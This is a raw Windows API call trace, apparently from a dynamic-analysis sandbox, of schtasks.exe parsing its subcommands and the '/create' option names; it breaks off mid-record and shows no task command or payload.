0 [0072.749] lstrlenW (lpString="f") returned 1 [0072.749] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.749] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|create|") returned 8 [0072.749] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|f|") returned 3 [0072.749] lstrlenW (lpString="|create|") returned 8 [0072.749] lstrlenW (lpString="|f|") returned 3 [0072.749] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0072.749] SetLastError (dwErrCode=0x490) [0072.749] lstrlenW (lpString="delete") returned 6 [0072.749] lstrlenW (lpString="delete") returned 6 [0072.749] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.749] lstrlenW (lpString="f") returned 1 [0072.749] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.749] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|delete|") returned 8 [0072.749] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|f|") returned 3 [0072.749] lstrlenW (lpString="|delete|") returned 8 [0072.749] lstrlenW (lpString="|f|") returned 3 [0072.749] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0072.749] SetLastError (dwErrCode=0x490) [0072.749] lstrlenW (lpString="query") returned 5 [0072.749] lstrlenW (lpString="query") returned 5 [0072.750] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.750] lstrlenW (lpString="f") returned 1 [0072.750] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.750] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|query|") returned 7 [0072.750] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|f|") returned 3 [0072.750] lstrlenW (lpString="|query|") returned 7 [0072.750] lstrlenW (lpString="|f|") returned 3 [0072.750] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0072.750] SetLastError (dwErrCode=0x490) [0072.750] lstrlenW (lpString="change") returned 6 [0072.750] lstrlenW (lpString="change") returned 6 [0072.750] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.750] lstrlenW (lpString="f") returned 1 [0072.750] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.750] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|change|") returned 8 [0072.750] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|f|") returned 3 [0072.750] lstrlenW (lpString="|change|") returned 8 [0072.750] lstrlenW (lpString="|f|") returned 3 [0072.750] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0072.750] SetLastError (dwErrCode=0x490) [0072.750] lstrlenW (lpString="run") returned 3 [0072.750] lstrlenW (lpString="run") returned 3 [0072.750] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.751] lstrlenW (lpString="f") returned 1 [0072.751] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.751] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|run|") returned 5 [0072.751] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|f|") returned 3 [0072.751] lstrlenW (lpString="|run|") returned 5 [0072.751] lstrlenW (lpString="|f|") returned 3 [0072.751] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0072.751] SetLastError (dwErrCode=0x490) [0072.751] lstrlenW (lpString="end") returned 3 [0072.751] lstrlenW (lpString="end") returned 3 [0072.751] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.751] lstrlenW (lpString="f") returned 1 [0072.751] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.751] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|end|") returned 5 [0072.751] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|f|") returned 3 [0072.751] lstrlenW (lpString="|end|") returned 5 [0072.751] lstrlenW (lpString="|f|") returned 3 [0072.751] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0072.751] SetLastError (dwErrCode=0x490) [0072.751] lstrlenW (lpString="showsid") returned 7 [0072.751] lstrlenW (lpString="showsid") returned 7 [0072.751] _memicmp (_Buf1=0x2ec240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.751] lstrlenW (lpString="f") returned 1 [0072.751] _memicmp (_Buf1=0x2ec380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.752] _vsnwprintf (in: _Buffer=0x2ec3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|showsid|") returned 9 [0072.752] _vsnwprintf (in: _Buffer=0x2ec3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f338 | out: _Buffer="|f|") returned 3 [0072.752] lstrlenW (lpString="|showsid|") returned 9 [0072.752] lstrlenW (lpString="|f|") returned 3 [0072.752] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0072.752] SetLastError (dwErrCode=0x490) [0072.752] SetLastError (dwErrCode=0x490) [0072.752] SetLastError (dwErrCode=0x0) [0072.752] lstrlenW (lpString="/f") returned 2 [0072.752] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0072.752] SetLastError (dwErrCode=0x490) [0072.752] SetLastError (dwErrCode=0x0) [0072.752] lstrlenW (lpString="/f") returned 2 [0072.752] GetProcessHeap () returned 0x2d0000 [0072.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x6) returned 0x2edfb0 [0072.752] GetProcessHeap () returned 0x2d0000 [0072.752] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecf10 [0072.752] SetLastError (dwErrCode=0x0) [0072.752] GetProcessHeap () returned 0x2d0000 [0072.752] GetProcessHeap () returned 0x2d0000 [0072.753] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec360) returned 1 [0072.753] GetProcessHeap () returned 0x2d0000 [0072.753] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec360) returned 0x8 [0072.753] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec360 | out: hHeap=0x2d0000) returned 1 [0072.753] GetProcessHeap () returned 0x2d0000 [0072.753] GetProcessHeap () returned 0x2d0000 [0072.753] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd90) returned 1 [0072.753] GetProcessHeap () returned 0x2d0000 [0072.753] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd90) returned 0x20 [0072.754] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd90 | out: hHeap=0x2d0000) returned 1 [0072.755] GetProcessHeap () returned 0x2d0000 [0072.755] GetProcessHeap () returned 0x2d0000 [0072.755] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3f0) returned 1 [0072.755] GetProcessHeap () returned 0x2d0000 [0072.755] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec3f0) returned 0x16 [0072.755] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec3f0 | out: hHeap=0x2d0000) returned 1 [0072.755] GetProcessHeap () returned 0x2d0000 [0072.755] GetProcessHeap () returned 0x2d0000 [0072.755] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecdc0) returned 1 [0072.755] GetProcessHeap () returned 0x2d0000 [0072.755] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecdc0) returned 0x20 [0072.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecdc0 | out: hHeap=0x2d0000) returned 1 [0072.756] GetProcessHeap () returned 0x2d0000 [0072.756] GetProcessHeap () returned 0x2d0000 [0072.756] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec410) returned 1 [0072.756] GetProcessHeap () returned 0x2d0000 [0072.756] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec410) returned 0x8 [0072.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec410 | out: hHeap=0x2d0000) returned 1 [0072.756] GetProcessHeap () returned 0x2d0000 [0072.756] GetProcessHeap () returned 0x2d0000 [0072.756] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecdf0) returned 1 [0072.756] GetProcessHeap () returned 0x2d0000 [0072.756] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecdf0) returned 0x20 [0072.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecdf0 | out: hHeap=0x2d0000) returned 1 [0072.756] GetProcessHeap () returned 0x2d0000 [0072.756] GetProcessHeap () returned 0x2d0000 [0072.756] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec430) returned 1 [0072.756] GetProcessHeap () returned 0x2d0000 [0072.756] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec430) returned 0x10 [0072.756] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec430 | out: hHeap=0x2d0000) returned 1 [0072.756] GetProcessHeap () returned 0x2d0000 [0072.756] GetProcessHeap () returned 0x2d0000 [0072.756] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece20) returned 1 [0072.757] GetProcessHeap () returned 0x2d0000 [0072.757] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece20) returned 0x20 [0072.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece20 | out: hHeap=0x2d0000) returned 1 [0072.757] GetProcessHeap () returned 0x2d0000 [0072.757] GetProcessHeap () returned 0x2d0000 [0072.757] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec450) returned 1 [0072.757] GetProcessHeap () returned 0x2d0000 [0072.757] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec450) returned 0x8 [0072.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec450 | out: hHeap=0x2d0000) returned 1 [0072.757] GetProcessHeap () returned 0x2d0000 [0072.757] GetProcessHeap () returned 0x2d0000 [0072.757] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece50) returned 1 [0072.757] GetProcessHeap () returned 0x2d0000 [0072.757] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece50) returned 0x20 [0072.757] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece50 | out: hHeap=0x2d0000) returned 1 [0072.758] GetProcessHeap () returned 0x2d0000 [0072.758] GetProcessHeap () returned 0x2d0000 [0072.758] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edef0) returned 1 [0072.758] GetProcessHeap () returned 0x2d0000 [0072.758] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edef0) returned 0x8e [0072.758] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edef0 | out: hHeap=0x2d0000) returned 1 [0072.758] GetProcessHeap () returned 0x2d0000 [0072.758] GetProcessHeap () returned 0x2d0000 [0072.758] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece80) returned 1 [0072.758] GetProcessHeap () returned 0x2d0000 [0072.758] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ece80) returned 0x20 [0072.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ece80 | out: hHeap=0x2d0000) returned 1 [0072.759] GetProcessHeap () returned 0x2d0000 [0072.759] GetProcessHeap () returned 0x2d0000 [0072.759] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edf90) returned 1 [0072.759] GetProcessHeap () returned 0x2d0000 [0072.759] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edf90) returned 0x8 [0072.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edf90 | out: hHeap=0x2d0000) returned 1 [0072.759] GetProcessHeap () returned 0x2d0000 [0072.759] GetProcessHeap () returned 0x2d0000 [0072.759] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eceb0) returned 1 [0072.759] GetProcessHeap () returned 0x2d0000 [0072.759] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eceb0) returned 0x20 [0072.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eceb0 | out: hHeap=0x2d0000) returned 1 [0072.759] GetProcessHeap () returned 0x2d0000 [0072.759] GetProcessHeap () returned 0x2d0000 [0072.759] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6a0) returned 1 [0072.759] GetProcessHeap () returned 0x2d0000 [0072.759] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed6a0) returned 0x10 [0072.759] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed6a0 | out: hHeap=0x2d0000) returned 1 [0072.759] GetProcessHeap () returned 0x2d0000 [0072.759] GetProcessHeap () returned 0x2d0000 [0072.759] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecee0) returned 1 [0072.760] GetProcessHeap () returned 0x2d0000 [0072.760] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecee0) returned 0x20 [0072.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecee0 | out: hHeap=0x2d0000) returned 1 [0072.760] GetProcessHeap () returned 0x2d0000 [0072.760] GetProcessHeap () returned 0x2d0000 [0072.760] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edfb0) returned 1 [0072.760] GetProcessHeap () returned 0x2d0000 [0072.760] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edfb0) returned 0x6 [0072.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edfb0 | out: hHeap=0x2d0000) returned 1 [0072.760] GetProcessHeap () returned 0x2d0000 [0072.760] GetProcessHeap () returned 0x2d0000 [0072.760] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf10) returned 1 [0072.760] GetProcessHeap () returned 0x2d0000 [0072.760] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecf10) returned 0x20 [0072.760] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecf10 | out: hHeap=0x2d0000) returned 1 [0072.760] GetProcessHeap () returned 0x2d0000 [0072.760] GetProcessHeap () returned 0x2d0000 [0072.760] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5590) returned 1 [0072.760] GetProcessHeap () returned 0x2d0000 [0072.760] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5590) returned 0x18 [0072.761] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5590 | out: hHeap=0x2d0000) returned 1 [0072.761] SetLastError (dwErrCode=0x0) [0072.761] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0072.761] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0072.761] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0072.761] VerifyVersionInfoW (in: lpVersionInformation=0x19c390, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19c390) returned 1 [0072.761] SetLastError (dwErrCode=0x0) [0072.761] lstrlenW (lpString="create") returned 6 [0072.761] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0072.761] SetLastError (dwErrCode=0x490) [0072.761] SetLastError (dwErrCode=0x0) [0072.761] lstrlenW (lpString="create") returned 6 [0072.761] GetProcessHeap () returned 0x2d0000 [0072.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecf10 [0072.761] GetProcessHeap () returned 0x2d0000 [0072.761] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed6a0 [0072.762] _memicmp (_Buf1=0x2ed6a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.762] GetProcessHeap () returned 0x2d0000 [0072.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ed6c0 [0072.762] SetLastError (dwErrCode=0x0) [0072.762] _memicmp (_Buf1=0x2ebbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.762] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ebd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0072.762] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0072.762] GetProcessHeap () returned 0x2d0000 [0072.762] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x74e) returned 0x2edef0 [0072.763] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2edef0 | out: lpData=0x2edef0) returned 1 [0072.763] VerQueryValueW (in: pBlock=0x2edef0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19c478, puLen=0x19c4e0 | out: lplpBuffer=0x19c478*=0x2ee28c, puLen=0x19c4e0) returned 1 [0072.763] _memicmp (_Buf1=0x2ebbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.763] _vsnwprintf (in: _Buffer=0x2ebd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19c458 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0072.763] VerQueryValueW (in: pBlock=0x2edef0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19c4e8, puLen=0x19c4d8 | out: lplpBuffer=0x19c4e8*=0x2ee0b8, puLen=0x19c4d8) returned 1 [0072.763] lstrlenW (lpString="schtasks.exe") returned 12 [0072.763] lstrlenW (lpString="schtasks.exe") returned 12 [0072.763] lstrlenW (lpString=".EXE") returned 4 [0072.763] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0072.763] lstrlenW (lpString="schtasks.exe") returned 12 [0072.763] lstrlenW (lpString=".EXE") returned 4 [0072.763] lstrlenW (lpString="schtasks") returned 8 [0072.763] lstrlenW (lpString="/create") returned 7 [0072.763] _memicmp (_Buf1=0x2ebbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.763] _vsnwprintf (in: _Buffer=0x2ebd90, _BufferCount=0x19, _Format="%s %s", _ArgList=0x19c458 | out: _Buffer="schtasks /create") returned 16 [0072.764] _memicmp (_Buf1=0x2ebc10, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.764] GetProcessHeap () returned 0x2d0000 [0072.764] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecee0 [0072.764] _memicmp (_Buf1=0x2ebc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.764] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2ed440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0072.764] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0072.764] GetProcessHeap () returned 0x2d0000 [0072.764] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x30) returned 0x2e7c50 [0072.764] _vsnwprintf (in: _Buffer=0x2ec190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19c458 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0072.764] GetProcessHeap () returned 0x2d0000 [0072.764] GetProcessHeap () returned 0x2d0000 [0072.764] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edef0) returned 1 [0072.764] GetProcessHeap () returned 0x2d0000 [0072.764] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edef0) returned 0x74e [0072.764] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edef0 | out: hHeap=0x2d0000) returned 1 [0072.764] SetLastError (dwErrCode=0x0) [0072.764] GetThreadLocale () returned 0x409 [0072.764] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.764] lstrlenW (lpString="create") returned 6 [0072.765] GetThreadLocale () returned 0x409 [0072.765] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.765] lstrlenW (lpString="?") returned 1 [0072.765] GetThreadLocale () returned 0x409 [0072.765] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.765] lstrlenW (lpString="s") returned 1 [0072.765] GetThreadLocale () returned 0x409 [0072.765] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.765] lstrlenW (lpString="u") returned 1 [0072.765] GetThreadLocale () returned 0x409 [0072.765] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.765] lstrlenW (lpString="p") returned 1 [0072.765] GetThreadLocale () returned 0x409 [0072.765] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.765] lstrlenW (lpString="ru") returned 2 [0072.765] GetThreadLocale () returned 0x409 [0072.765] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.765] lstrlenW (lpString="rp") returned 2 [0072.765] GetThreadLocale () returned 0x409 [0072.765] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.765] lstrlenW (lpString="sc") returned 2 [0072.765] GetThreadLocale () returned 0x409 [0072.765] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.765] lstrlenW (lpString="mo") returned 2 [0072.765] GetThreadLocale () returned 0x409 [0072.765] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.765] lstrlenW (lpString="d") returned 1 [0072.765] GetThreadLocale () returned 0x409 [0072.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.766] lstrlenW (lpString="m") returned 1 [0072.766] GetThreadLocale () returned 0x409 [0072.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.766] lstrlenW (lpString="i") returned 1 [0072.766] GetThreadLocale () returned 0x409 [0072.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.766] lstrlenW (lpString="tn") returned 2 [0072.766] GetThreadLocale () returned 0x409 [0072.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.766] lstrlenW (lpString="tr") returned 2 [0072.766] GetThreadLocale () returned 0x409 [0072.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.766] lstrlenW (lpString="st") returned 2 [0072.766] GetThreadLocale () returned 0x409 [0072.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.767] lstrlenW (lpString="sd") returned 2 [0072.767] GetThreadLocale () returned 0x409 [0072.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.767] lstrlenW (lpString="ed") returned 2 [0072.767] GetThreadLocale () returned 0x409 [0072.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.767] lstrlenW (lpString="it") returned 2 [0072.767] GetThreadLocale () returned 0x409 [0072.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.767] lstrlenW (lpString="et") returned 2 [0072.767] GetThreadLocale () returned 0x409 [0072.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.767] lstrlenW (lpString="k") returned 1 [0072.767] GetThreadLocale () returned 0x409 [0072.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.767] lstrlenW (lpString="du") returned 2 [0072.767] GetThreadLocale () returned 0x409 [0072.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.767] lstrlenW (lpString="ri") returned 2 [0072.767] GetThreadLocale () returned 0x409 [0072.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.767] lstrlenW (lpString="z") returned 1 [0072.767] GetThreadLocale () returned 0x409 [0072.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.767] lstrlenW (lpString="f") returned 1 [0072.767] GetThreadLocale () returned 0x409 [0072.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.768] lstrlenW (lpString="v1") returned 2 [0072.768] GetThreadLocale () returned 0x409 [0072.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.768] lstrlenW (lpString="xml") returned 3 [0072.768] GetThreadLocale () returned 0x409 [0072.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.768] lstrlenW (lpString="ec") returned 2 [0072.768] GetThreadLocale () returned 0x409 [0072.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.768] lstrlenW (lpString="rl") returned 2 [0072.768] GetThreadLocale () returned 0x409 [0072.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.768] lstrlenW (lpString="delay") returned 5 [0072.768] GetThreadLocale () returned 0x409 [0072.768] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0072.768] lstrlenW (lpString="np") returned 2 [0072.768] SetLastError (dwErrCode=0x0) [0072.768] SetLastError (dwErrCode=0x0) [0072.768] lstrlenW (lpString="/create") returned 